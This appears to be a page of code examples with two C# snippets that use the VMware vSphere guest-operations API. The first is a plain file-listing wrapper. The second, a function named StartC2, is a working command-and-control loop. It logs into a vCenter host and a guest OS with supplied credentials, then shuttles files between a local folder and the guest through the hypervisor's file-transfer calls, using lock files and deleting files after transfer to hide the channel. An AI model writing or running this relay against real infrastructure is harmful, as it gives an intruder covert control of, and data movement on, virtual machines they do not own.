Beispiel #1
0
 public GuestListFileInfo ListFilesInGuest(string filePath, int index, int maxResults, string matchPattern)
 {
     //throw new NotImplementedException();
     return(_vimService.ListFilesInGuest(
                _morFileManager,             //VimLib.VimServiceReference.ManagedObjectReference _this,
                _morVM,                      //VimLib.VimServiceReference.ManagedObjectReference vm,
                _NamePasswordAuthentication, //VimLib.VimServiceReference.GuestAuthentication auth,
                filePath, index, maxResults, matchPattern
                ));
 }
Beispiel #2
0
        static int StartC2(C2Options options)
        {
            try
            {
                //Connect to target VM
                Connect(options.url, options.username, options.password, options.ip);
                //Build credential object to authenticate to guest OS
                creds = new NamePasswordAuthentication()
                {
                    username           = options.guestusername,
                    password           = options.guestpassword,
                    interactiveSession = false,
                };

                if (!Directory.Exists(options.localdir))
                {
                    Error(new Exception("Cannot read local dir " + options.localdir));
                }

                //Make sure paths have a trailing slash
                if (!options.localdir.EndsWith("\\"))
                {
                    options.localdir += "\\";
                }
                if (!options.guestdir.EndsWith("\\"))
                {
                    options.guestdir += "\\";
                }
                while (true)
                {
                    string[] sourceFilePaths = Directory.GetFiles(options.localdir);
                    if (!Array.Exists(sourceFilePaths, element => element.Contains("lock")) && Array.Exists(sourceFilePaths, element => element.Contains(options.outputid)))
                    {
                        foreach (string sourceFilePath in sourceFilePaths)
                        {
                            var    fileName        = Path.GetFileName(sourceFilePath);
                            byte[] data            = System.IO.File.ReadAllBytes(sourceFilePath);
                            var    newFilePath     = options.guestdir + fileName;
                            var    fileTransferUrl = vim.InitiateFileTransferToGuest(guestFileManager, vm, creds, newFilePath + ".lock", new GuestFileAttributes(), data.Length, true);
                            using (var client = new System.Net.WebClient())
                            {
                                client.UploadData(fileTransferUrl, "PUT", data);
                                Log("[x] Uploaded a packet to guest");
                            }
                            vim.MoveFileInGuest(guestFileManager, vm, creds, newFilePath + ".lock", newFilePath, true);
                            File.Delete(sourceFilePath);
                        }
                    }
                    GuestListFileInfo guestFilesRaw = vim.ListFilesInGuest(guestFileManager, vm, creds, options.guestdir, 0, 999, options.inputid + "*");
                    if (guestFilesRaw.files != null)
                    {
                        bool lockFilePresent = false;

                        foreach (GuestFileInfo guestFile in guestFilesRaw.files)
                        {
                            if (guestFile.path.Contains("lock"))
                            {
                                lockFilePresent = true;
                                break;
                            }
                        }
                        if (!lockFilePresent)
                        {
                            foreach (GuestFileInfo guestFile in guestFilesRaw.files)
                            {
                                if (guestFile.type == "file" && !guestFile.path.Contains("lock"))
                                {
                                    var    fileTransferInformation = vim.InitiateFileTransferFromGuest(guestFileManager, vm, creds, options.guestdir + guestFile.path);
                                    string newFilePath             = options.localdir + guestFile.path;
                                    using (var client = new System.Net.WebClient())
                                    {
                                        Log("[x] Downloading a packet from guest");
                                        client.DownloadFile(fileTransferInformation.url, newFilePath + @".lock");
                                    }
                                    File.Move(newFilePath + @".lock", newFilePath);
                                    vim.DeleteFileInGuest(guestFileManager, vm, creds, options.guestdir + guestFile.path);
                                }
                            }
                        }
                    }
                }
            }
            catch (Exception fault)
            {
                Error(fault);
            }
            return(0);
        }